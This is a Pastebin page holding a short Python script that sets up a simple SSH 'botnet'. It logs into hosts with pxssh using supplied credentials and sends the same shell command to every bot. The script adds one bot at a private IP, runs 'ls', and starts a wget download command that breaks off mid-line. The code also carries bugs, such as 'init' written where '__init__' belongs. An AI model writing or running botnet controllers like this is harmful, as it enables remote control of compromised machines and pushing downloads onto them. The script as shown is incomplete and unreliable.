Advertisement
Guest User

Untitled

a guest
Nov 16th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. from pexpect import pxssh
  2.  
  3. class Bot:
  4.  
  5. # initialize new client
  6. def init(self, host, user, password):
  7. self.host = host
  8. self.user = user
  9. self.password = password
  10. self.session = self.ssh()
  11.  
  12.  
  13. # secure shell into client
  14. def ssh(self):
  15. try:
  16. bot = pxssh.pxssh()
  17. bot.login(self.host, self.user, self.password)
  18. return bot
  19. except Exception as e:
  20. print('Connection failure.')
  21. print(e)
  22.  
  23.  
  24. # send command to client
  25. def send_command(self, cmd):
  26. self.session.sendline(cmd)
  27. self.session.prompt()
  28. return self.session.before
  29.  
  30.  
  31. # send a command to all bots in the botnet
  32. def command_bots(command):
  33. for bot in botnet:
  34. attack = bot.send_command(command)
  35. print('Output from ' + bot.host)
  36. print(attack)
  37.  
  38. # list of bots in botnet
  39. botnet = []
  40.  
  41. # add a new bot to your botnet
  42. def add_bot(host, user, password):
  43. new_bot = Bot(host, user, password)
  44. botnet.append(new_bot)
  45.  
  46. add_bot('10.0.0.59', '', '')
  47.  
  48. # list user home directory
  49. command_bots('ls')
  50.  
  51. # download scripts/files etc.
  52. command_bots("""wget -O
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement